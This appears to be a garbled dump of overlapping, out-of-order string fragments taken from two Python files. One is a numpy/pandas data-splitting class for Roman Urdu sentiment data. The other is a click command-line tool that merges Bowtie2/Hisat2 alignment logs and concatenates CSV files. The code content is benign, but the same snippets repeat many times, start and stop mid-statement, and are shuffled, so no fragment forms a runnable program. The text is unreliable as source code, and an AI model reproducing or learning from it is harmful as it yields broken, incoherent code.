") index_training = np.random.choice( index_data, n_training, replace=False ) index_test = np.delete( index_data, index_training",
"= ', split_rate ) length, dimension = np.shape( self.x ) # Split the",
"x_test, y_test # def __init__( self, x, y, config ): # self.config =",
"# self.y = y # shape = (length,) def split( self, split_rate=[0.7, 0.2,",
"import pandas as pd class Data: # Constructor def __init__( self, config ):",
": ] data_evaluation = self.x[ index_evaluation, : ] data_test = self.x[ index_test, :",
"labels = self.labels_training[ index ] self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training",
"7:2:1. ''' print( 'split_rate = ', split_rate ) length, dimension = np.shape( self.x",
"* split_rate[0] ) # 0.7 n_evaluation = int( length * split_rate[1] ) #",
"assert isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split:",
") print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np,",
"data. index_data = np.arange( length ) # 13704, [0, length-1] index_training = np.random.choice(",
"# shape = (length, dimension) # self.y = y # shape = (length,)",
"length # = size, or n_data # self.dimension = dimension # # self.n_training",
"data_training = self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation, : ] data_test",
"np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test #",
"is 7:2:1. ''' print( 'split_rate = ', split_rate ) length, dimension = np.shape(",
"= np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[",
"0.7 n_training = n_dataset - n_test # 0.3 # Use indexcing to split",
"import numpy as np import pandas as pd class Data: # Constructor def",
"The default ratio to split the training, evaluation, & test data is 7:2:1.",
"dimension = np.shape( self.x ) # Split the (entire) data into training data",
"# 2740 index_test = np.delete( index_temp, index_evaluation ) # 3547, This must be",
"data = self.data_training[ index,: ] labels = self.labels_training[ index ] self.data_training = np.delete(",
"#=====================================================================# # # The above variables don't have the leading self. to improve",
"of replace=False, # ValueError: Cannot take a larger sample than population when 'replace=False'",
"''' print( 'split_rate = ', split_rate ) length, dimension = np.shape( self.x )",
"length * split_rate[1] ) # 0.2 n_test = length - n_training - n_evaluation",
"self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[ index_test ]",
"= n_test def load(self, batch_size): data_length = len( self.data_training ) if data_length >=",
"n_data # self.dimension = dimension # # self.n_training = n_training # self.n_test =",
"the data. index_data = np.arange( length ) # 13704, [0, length-1] index_training =",
"split the training, evaluation, & test data is 7:2:1. ''' print( 'split_rate =",
"[data_test, labels_test] return training, evaluation, test # #=====================================================================# # # The above variables",
"= (length, dimension) # self.y = y # shape = (length,) def split(",
"'split_rate = ', split_rate ) length, dimension = np.shape( self.x ) # Split",
"length-1] index_training = np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp = np.delete(",
"index_data, n_training, replace=False ) index_test = np.delete( index_data, index_training ) data_training_np = reviews.loc[",
"np.delete( index_data, index_training ) # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) #",
"size, or n_data # self.dimension = dimension # # self.n_training = n_training #",
"np.delete( self.labels_training, index ) done = True else: #data_length < batch_size: self.data_training =",
"np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np)",
"self.data_training = self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ] done = False",
"evaluation, test # #=====================================================================# # # The above variables don't have the leading",
"a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments",
"# shape = (length,) def split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The",
"* test_split_ratio ) # 0.7 n_training = n_dataset - n_test # 0.3 #",
"= reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training",
"# Split the (entire) data into training data & test data n_training =",
"np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f'",
"= x # shape = (length, dimension) # self.y = y # shape",
"Because of replace=False, # ValueError: Cannot take a larger sample than population when",
"as pd class Data: # Constructor def __init__( self, config ): self.config =",
"index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f'",
"= self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ] done = False return",
"replace=False ) # 9592 index_temp = np.delete( index_data, index_training ) # 4112 index_evaluation",
"n_training, replace=False ) index_test = np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training",
"= np.random.choice( index_data, n_training, replace=False ) index_test = np.delete( index_data, index_training ) data_training_np",
"variables don't have the leading self. to improve readability. # self.length = length",
"index = np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[ index,: ] labels",
"to split the training, evaluation, & test data is 7:2:1. ''' print( 'split_rate",
": ] data_test = self.x[ index_test, : ] labels_training = self.y[ index_training ]",
"replace=False, # ValueError: Cannot take a larger sample than population when 'replace=False' index",
"0.1] ): ''' The default ratio to split the training, evaluation, & test",
"def split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio to split",
"must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews =",
"= np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp = np.delete( index_data, index_training",
"training data & test data n_training = int( length * split_rate[0] ) #",
"): ''' Split the (entire) data into training data & test data '''",
"self.dimension = dimension # # self.n_training = n_training # self.n_test = n_test def",
"test data n_training = int( length * split_rate[0] ) # 0.7 n_evaluation =",
"=', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) )",
"population when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[",
"self.y[ index_test ] training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test =",
"Indentification for Roman Urdu ''' import numpy as np import pandas as pd",
"# def __init__( self, x, y, config ): # self.config = config #",
"# Use indexcing to split the data. index_data = np.arange( length ) #",
"indexcing to split the data. index_data = np.arange( n_dataset ) index_training = np.random.choice(",
"sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f' number of dataset =',",
"self.n_training = n_training # self.n_test = n_test def load(self, batch_size): data_length = len(",
"or n_data # self.dimension = dimension # # self.n_training = n_training # self.n_test",
") # 13704, [0, length-1] index_training = np.random.choice( index_data, n_training, replace=False ) #",
"df.shape[0] n_test = int( n_dataset * test_split_ratio ) # 0.7 n_training = n_dataset",
"] training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test]",
"labels_test_np # x_train, y_train, x_test, y_test # def __init__( self, x, y, config",
"split( self, df ): ''' Split the (entire) data into training data &",
"n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False ) index_test = np.delete( index_data,",
"readability. # self.length = length # = size, or n_data # self.dimension =",
"= np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training, index ) done",
"data into training data & test data n_training = int( length * split_rate[0]",
"data & test data n_training = int( length * split_rate[0] ) # 0.7",
"config ): # self.config = config # self.x = x # shape =",
") data = self.data_training[ index,: ] labels = self.labels_training[ index ] self.data_training =",
") self.labels_training = np.delete( self.labels_training, index ) done = True else: #data_length <",
"labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f' number of",
"= np.delete( self.labels_training, index ) done = True else: #data_length < batch_size: self.data_training",
"# x_train, y_train, x_test, y_test # def __init__( self, x, y, config ):",
"): # self.config = config # self.x = x # shape = (length,",
"class Data: # Constructor def __init__( self, config ): self.config = config def",
"& test data ''' assert isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.'",
"4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740 index_test = np.delete( index_temp,",
"self, x, y, config ): # self.config = config # self.x = x",
"y_test # def __init__( self, x, y, config ): # self.config = config",
"n_evaluation # Use indexcing to split the data. index_data = np.arange( length )",
"self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ] done = False return data,",
"= sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f' number of dataset",
"reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values",
"self.config = config def split( self, df ): ''' Split the (entire) data",
"= np.arange( length ) # 13704, [0, length-1] index_training = np.random.choice( index_data, n_training,",
"n_dataset - n_test # 0.3 # Use indexcing to split the data. index_data",
"# Constructor def __init__( self, config ): self.config = config def split( self,",
"= [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test] return training,",
"number of dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train)",
"np import pandas as pd class Data: # Constructor def __init__( self, config",
") done = True else: #data_length < batch_size: self.data_training = self.x[ self.index_training ]",
"= self.x[ index_evaluation, : ] data_test = self.x[ index_test, : ] labels_training =",
"x # shape = (length, dimension) # self.y = y # shape =",
"& test data is 7:2:1. ''' print( 'split_rate = ', split_rate ) length,",
"0.7 n_evaluation = int( length * split_rate[1] ) # 0.2 n_test = length",
"data_length >= batch_size: # Because of replace=False, # ValueError: Cannot take a larger",
"= self.x[ index_test, : ] labels_training = self.y[ index_training ] labels_evaluation = self.y[",
"index_training, : ] data_evaluation = self.x[ index_evaluation, : ] data_test = self.x[ index_test,",
"# self.x = x # shape = (length, dimension) # self.y = y",
"labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test] return training, evaluation, test",
"index,: ] labels = self.labels_training[ index ] self.data_training = np.delete( self.data_training, index, axis=0",
"# # self.n_training = n_training # self.n_test = n_test def load(self, batch_size): data_length",
"df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset * test_split_ratio",
"pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' )",
"= self.data_training[ index,: ] labels = self.labels_training[ index ] self.data_training = np.delete( self.data_training,",
"self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training, index )",
"self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training, index ) done = True",
"data n_training = int( length * split_rate[0] ) # 0.7 n_evaluation = int(",
"default ratio to split the training, evaluation, & test data is 7:2:1. '''",
"[0, length-1] index_training = np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp =",
"data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[",
"= config # self.x = x # shape = (length, dimension) # self.y",
"index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740 index_test = np.delete( index_temp, index_evaluation",
"print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =',",
"# # The above variables don't have the leading self. to improve readability.",
"= length # = size, or n_data # self.dimension = dimension # #",
"self.labels_training, index ) done = True else: #data_length < batch_size: self.data_training = self.x[",
"split the data. index_data = np.arange( length ) # 13704, [0, length-1] index_training",
") # 0.7 n_evaluation = int( length * split_rate[1] ) # 0.2 n_test",
"batch_size: # Because of replace=False, # ValueError: Cannot take a larger sample than",
"data is 7:2:1. ''' print( 'split_rate = ', split_rate ) length, dimension =",
"load(self, batch_size): data_length = len( self.data_training ) if data_length >= batch_size: # Because",
"Use indexcing to split the data. index_data = np.arange( length ) # 13704,",
"data. index_data = np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False )",
"reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values",
"= np.delete( index_data, index_training ) # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation )",
"return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test # def __init__(",
"to split the data. index_data = np.arange( n_dataset ) index_training = np.random.choice( index_data,",
"np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training, index ) done =",
"self, split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio to split the training,",
"= y # shape = (length,) def split( self, split_rate=[0.7, 0.2, 0.1] ):",
"self.labels_training = np.delete( self.labels_training, index ) done = True else: #data_length < batch_size:",
"self.labels_training = self.y[ self.index_training ] done = False return data, labels, done #",
"index_evaluation, : ] data_test = self.x[ index_test, : ] labels_training = self.y[ index_training",
"for Roman Urdu ''' import numpy as np import pandas as pd class",
"index_temp, index_evaluation ) # 3547, This must be 1372! data_training = self.x[ index_training,",
"take a larger sample than population when 'replace=False' index = np.random.choice( data_length, batch_size,",
"] data_evaluation = self.x[ index_evaluation, : ] data_test = self.x[ index_test, : ]",
"index_data, index_training ) # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740",
"# 0.3 # Use indexcing to split the data. index_data = np.arange( n_dataset",
"# Because of replace=False, # ValueError: Cannot take a larger sample than population",
"index_test = np.delete( index_temp, index_evaluation ) # 3547, This must be 1372! data_training",
"ValueError: Cannot take a larger sample than population when 'replace=False' index = np.random.choice(",
"the (entire) data into training data & test data ''' assert isinstance( df,",
"index_test = np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np =",
"np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test,",
"np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp = np.delete( index_data, index_training )",
"don't have the leading self. to improve readability. # self.length = length #",
"to split the data. index_data = np.arange( length ) # 13704, [0, length-1]",
"# Sentiment Indentification for Roman Urdu ''' import numpy as np import pandas",
"n_evaluation ) # 2740 index_test = np.delete( index_temp, index_evaluation ) # 3547, This",
"x, y, config ): # self.config = config # self.x = x #",
"pd class Data: # Constructor def __init__( self, config ): self.config = config",
"self.x = x # shape = (length, dimension) # self.y = y #",
"training data & test data ''' assert isinstance( df, pd.DataFrame), 'df must be",
"= dimension # # self.n_training = n_training # self.n_test = n_test def load(self,",
"] labels = self.labels_training[ index ] self.data_training = np.delete( self.data_training, index, axis=0 )",
"].values print(f' number of dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) )",
"index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np",
"axis=0 ) self.labels_training = np.delete( self.labels_training, index ) done = True else: #data_length",
"test = [data_test, labels_test] return training, evaluation, test # #=====================================================================# # # The",
"split the data. index_data = np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training,",
"# 9592 index_temp = np.delete( index_data, index_training ) # 4112 index_evaluation = np.random.choice(",
"length ) # 13704, [0, length-1] index_training = np.random.choice( index_data, n_training, replace=False )",
"df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}'",
"n_training = n_dataset - n_test # 0.3 # Use indexcing to split the",
"self.labels_training[ index ] self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete(",
") print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test)",
"test data is 7:2:1. ''' print( 'split_rate = ', split_rate ) length, dimension",
"return training, evaluation, test # #=====================================================================# # # The above variables don't have",
"int( length * split_rate[0] ) # 0.7 n_evaluation = int( length * split_rate[1]",
"improve readability. # self.length = length # = size, or n_data # self.dimension",
"the data. index_data = np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False",
"index ) done = True else: #data_length < batch_size: self.data_training = self.x[ self.index_training",
"split_rate ) length, dimension = np.shape( self.x ) # Split the (entire) data",
"done = True else: #data_length < batch_size: self.data_training = self.x[ self.index_training ] self.labels_training",
"index_evaluation ] labels_test = self.y[ index_test ] training = [data_training, labels_training] evaluation =",
"# self.length = length # = size, or n_data # self.dimension = dimension",
"self.length = length # = size, or n_data # self.dimension = dimension #",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- ''' data4models.py # Sentiment Indentification for",
"): self.config = config def split( self, df ): ''' Split the (entire)",
"dimension # # self.n_training = n_training # self.n_test = n_test def load(self, batch_size):",
"'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews",
"into training data & test data ''' assert isinstance( df, pd.DataFrame), 'df must",
"''' data4models.py # Sentiment Indentification for Roman Urdu ''' import numpy as np",
") # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740 index_test =",
"): ''' The default ratio to split the training, evaluation, & test data",
": ] labels_training = self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test",
"must be 1372! data_training = self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation,",
"self.n_test = n_test def load(self, batch_size): data_length = len( self.data_training ) if data_length",
"= self.y[ index_test ] training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test",
"= df.shape[0] n_test = int( n_dataset * test_split_ratio ) # 0.7 n_training =",
"np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[ index,: ] labels = self.labels_training[",
"index_data = np.arange( length ) # 13704, [0, length-1] index_training = np.random.choice( index_data,",
"print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train,",
"= reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test",
"index_test, : ] labels_training = self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ]",
"shape = (length, dimension) # self.y = y # shape = (length,) def",
"''' import numpy as np import pandas as pd class Data: # Constructor"
] |
[
"result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists =",
"[0] ), csv_file_list ) ) result_df = pd.concat(input_dfs, axis = 0, sort =",
"input_dfs = list( map( lambda x : pd.read_csv(x, header = [0], index_col =",
"= [0] ), csv_file_list ) ) result_df = pd.concat(input_dfs, axis = 0, sort",
"click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out):",
"statistics coming from Bowtie2 or Hisat2. This is done by summing up the",
"order and writes the output is written in csv format. The concatenation is",
"result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists = True)) @click.option('--out',",
"read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has to",
"merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and csv",
"stat_files = input_stats, out = out ) ################################################################################ def _concat_csv( csv_file_list, output_file ):",
"one input file is needed.\") merge_overall_stats( stat_files = input_stats, out = out )",
"False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from Bowtie2 or Hisat2.",
"pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists = True)) @click.option('--out',",
"csv files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists",
"pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\",",
"written in csv format. The concatenation is done using pandas so the column",
"for concat_csv \"\"\" import pandas as pd input_dfs = list( map( lambda x",
"* from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\"",
"from separate files into one. This script takes the overall alignment stats files",
"Concatenates the given csvs in the given order and writes the output is",
"out): \"\"\" Merge alignment statistics coming from Bowtie2 or Hisat2. This is done",
"from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group()",
"is implemented for single-end reads only. So it won't work for paired end",
"result_df = pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file) return result_df @merge.command()",
"< 1 : exit(\"At least one input file is needed.\") _concat_csv(input_csvs, out) ################################################################################",
"click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def overall_stats(input_stats, out):",
"type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming",
"files. \"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists =",
"Though it is not hard to extend this script to paired-end read case.",
"is done by summing up the corresponding counts and calculating the percentages. This",
"csv format. The concatenation is done using pandas so the column names must",
"header = [0], index_col = [0] ), csv_file_list ) ) result_df = pd.concat(input_dfs,",
"stats coming from separate files into one. This script takes the overall alignment",
"), csv_file_list ) ) result_df = pd.concat(input_dfs, axis = 0, sort = False)",
"overall_stats(input_stats, out): \"\"\" Combine individual stats coming from separate files into one. This",
"= [0], index_col = [0] ), csv_file_list ) ) result_df = pd.concat(input_dfs, axis",
"reads only. So it won't work for paired end statistics yet. Though it",
"-*- coding: utf-8 -*- from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from",
"0: exit(\"There has to be at least one log file as input.\") return",
"if len(input_stats) < 1 : exit(\"At least one input file is needed.\") merge_overall_stats(",
"Helper function for concat_csv \"\"\" import pandas as pd input_dfs = list( map(",
"\"\"\" Combine individual stats coming from separate files into one. This script takes",
"click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def concat_csv(input_csvs, out):",
"one big table where each column corresponds to one experiment. \"\"\" if len(input_stats)",
"paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) == 0: exit(\"There has",
"or Hisat2. This is done by summing up the corresponding counts and calculating",
"\"\"\" if len(input_csvs) < 1 : exit(\"At least one input file is needed.\")",
"the percentages. This version is implemented for single-end reads only. So it won't",
"concatenation is done using pandas so the column names must be compatible in",
"experiment. \"\"\" if len(input_stats) < 1 : exit(\"At least one input file is",
"work for paired end statistics yet. Though it is not hard to extend",
"= click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from",
"'-o', type = click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given",
"file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\",",
"= click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def concat_csv(input_csvs,",
"merge_overall_stats( stat_files = input_stats, out = out ) ################################################################################ def _concat_csv( csv_file_list, output_file",
"coming from separate files into one. This script takes the overall alignment stats",
"corresponds to one experiment. \"\"\" if len(input_stats) < 1 : exit(\"At least one",
"alignment stats files (in csv format) where each file is coming from one",
"# -*- coding: utf-8 -*- from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs",
"utf-8 -*- from .main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import",
"this script to paired-end read case. \"\"\" print(\"Merging bowtie2 logs.\") if len(input_log_paths) ==",
"column names must be compatible in the given csv files. \"\"\" if len(input_csvs)",
"logs.\") if len(input_log_paths) == 0: exit(\"There has to be at least one log",
"script takes the overall alignment stats files (in csv format) where each file",
"@click.option('--out', '-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment",
"alignment statistics coming from Bowtie2 or Hisat2. This is done by summing up",
"is needed.\") merge_overall_stats( stat_files = input_stats, out = out ) ################################################################################ def _concat_csv(",
"the output is written in csv format. The concatenation is done using pandas",
"must be compatible in the given csv files. \"\"\" if len(input_csvs) < 1",
"@click.option('--out', '-o', type = click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the",
"files into one. This script takes the overall alignment stats files (in csv",
"Hisat2. This is done by summing up the corresponding counts and calculating the",
"This version is implemented for single-end reads only. So it won't work for",
"in csv format. The concatenation is done using pandas so the column names",
"concat_csv \"\"\" import pandas as pd input_dfs = list( map( lambda x :",
"calculating the percentages. This version is implemented for single-end reads only. So it",
"up the corresponding counts and calculating the percentages. This version is implemented for",
"for paired end statistics yet. Though it is not hard to extend this",
"if len(input_csvs) < 1 : exit(\"At least one input file is needed.\") _concat_csv(input_csvs,",
"least one log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output = out)",
"(in csv format) where each file is coming from one sample only. It",
"= input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type =",
"= False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats coming from separate files",
"click.Path(exists = False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from Bowtie2",
"function for concat_csv \"\"\" import pandas as pd input_dfs = list( map( lambda",
") ) result_df = pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file) return",
"\"input_csvs\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type =",
"= False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv files Concatenates the",
"if len(input_log_paths) == 0: exit(\"There has to be at least one log file",
"the overall alignment stats files (in csv format) where each file is coming",
"where each file is coming from one sample only. It merges these files",
"exit(\"At least one input file is needed.\") merge_overall_stats( stat_files = input_stats, out =",
"import pandas as pd input_dfs = list( map( lambda x : pd.read_csv(x, header",
"= click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists = False)) def bowtie2_logs(input_log_paths,",
"= True)) @click.option('--out', '-o', type = click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\"",
"bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from Bowtie2 or Hisat2. This is",
"@click.option('--out', '-o', type = click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine individual",
"The concatenation is done using pandas so the column names must be compatible",
"percentages. This version is implemented for single-end reads only. So it won't work",
"input file is needed.\") merge_overall_stats( stat_files = input_stats, out = out ) ################################################################################",
"\"\"\" import pandas as pd input_dfs = list( map( lambda x : pd.read_csv(x,",
"= out ) ################################################################################ def _concat_csv( csv_file_list, output_file ): \"\"\" Helper function for",
"True)) @click.option('--out', '-o', type = click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine",
"won't work for paired end statistics yet. Though it is not hard to",
"pd.read_csv(x, header = [0], index_col = [0] ), csv_file_list ) ) result_df =",
"coming from Bowtie2 or Hisat2. This is done by summing up the corresponding",
": pd.read_csv(x, header = [0], index_col = [0] ), csv_file_list ) ) result_df",
"len(input_log_paths) == 0: exit(\"There has to be at least one log file as",
"column corresponds to one experiment. \"\"\" if len(input_stats) < 1 : exit(\"At least",
"counts and calculating the percentages. This version is implemented for single-end reads only.",
"sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type",
"is done using pandas so the column names must be compatible in the",
"= pd.concat(input_dfs, axis = 0, sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument(",
"yet. Though it is not hard to extend this script to paired-end read",
"big table where each column corresponds to one experiment. \"\"\" if len(input_stats) <",
"pandas so the column names must be compatible in the given csv files.",
".main import * from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def",
"paired end statistics yet. Though it is not hard to extend this script",
"at least one log file as input.\") return merge_bowtie2_logs(input_logs = input_log_paths, output =",
"csv files Concatenates the given csvs in the given order and writes the",
"len(input_stats) < 1 : exit(\"At least one input file is needed.\") merge_overall_stats( stat_files",
"files Concatenates the given csvs in the given order and writes the output",
"from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges logs and csv files.",
"is written in csv format. The concatenation is done using pandas so the",
"from one sample only. It merges these files in one big table where",
"csv_file_list, output_file ): \"\"\" Helper function for concat_csv \"\"\" import pandas as pd",
"only. It merges these files in one big table where each column corresponds",
"= out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type = click.Path(exists = True))",
"it is not hard to extend this script to paired-end read case. \"\"\"",
"= list( map( lambda x : pd.read_csv(x, header = [0], index_col = [0]",
"file is coming from one sample only. It merges these files in one",
"where each column corresponds to one experiment. \"\"\" if len(input_stats) < 1 :",
"\"\"\" pass @merge.command() @click.argument( \"input_log_paths\", nargs = -1, type = click.Path(exists = True))",
"\"input_stats\", nargs = -1, type = click.Path(exists = True)) @click.option('--out', '-o', type =",
"by summing up the corresponding counts and calculating the percentages. This version is",
"= 0, sort = False) result_df.to_csv(output_file) return result_df @merge.command() @click.argument( \"input_csvs\", nargs =",
"click.Path(exists = False)) def overall_stats(input_stats, out): \"\"\" Combine individual stats coming from separate",
"= False)) def bowtie2_logs(input_log_paths, out): \"\"\" Merge alignment statistics coming from Bowtie2 or",
"type = click.Path(exists = False)) def concat_csv(input_csvs, out): \"\"\" Concatenates the given csv",
"return result_df @merge.command() @click.argument( \"input_csvs\", nargs = -1, type = click.Path(exists = True))",
"= -1, type = click.Path(exists = True)) @click.option('--out', '-o', type = click.Path(exists =",
"given csv files. \"\"\" if len(input_csvs) < 1 : exit(\"At least one input",
"from ..merge.bowtie2_logs import merge_bowtie2_logs from ..merge.overall_stats import merge_overall_stats @cli.group() def merge(): \"\"\" Merges",
"corresponding counts and calculating the percentages. This version is implemented for single-end reads",
"coming from one sample only. It merges these files in one big table",
"given csv files Concatenates the given csvs in the given order and writes",
"compatible in the given csv files. \"\"\" if len(input_csvs) < 1 : exit(\"At",
"and calculating the percentages. This version is implemented for single-end reads only. So",
"in the given order and writes the output is written in csv format.",
"as pd input_dfs = list( map( lambda x : pd.read_csv(x, header = [0],",
"input_log_paths, output = out) @merge.command() @click.argument( \"input_stats\", nargs = -1, type = click.Path(exists",
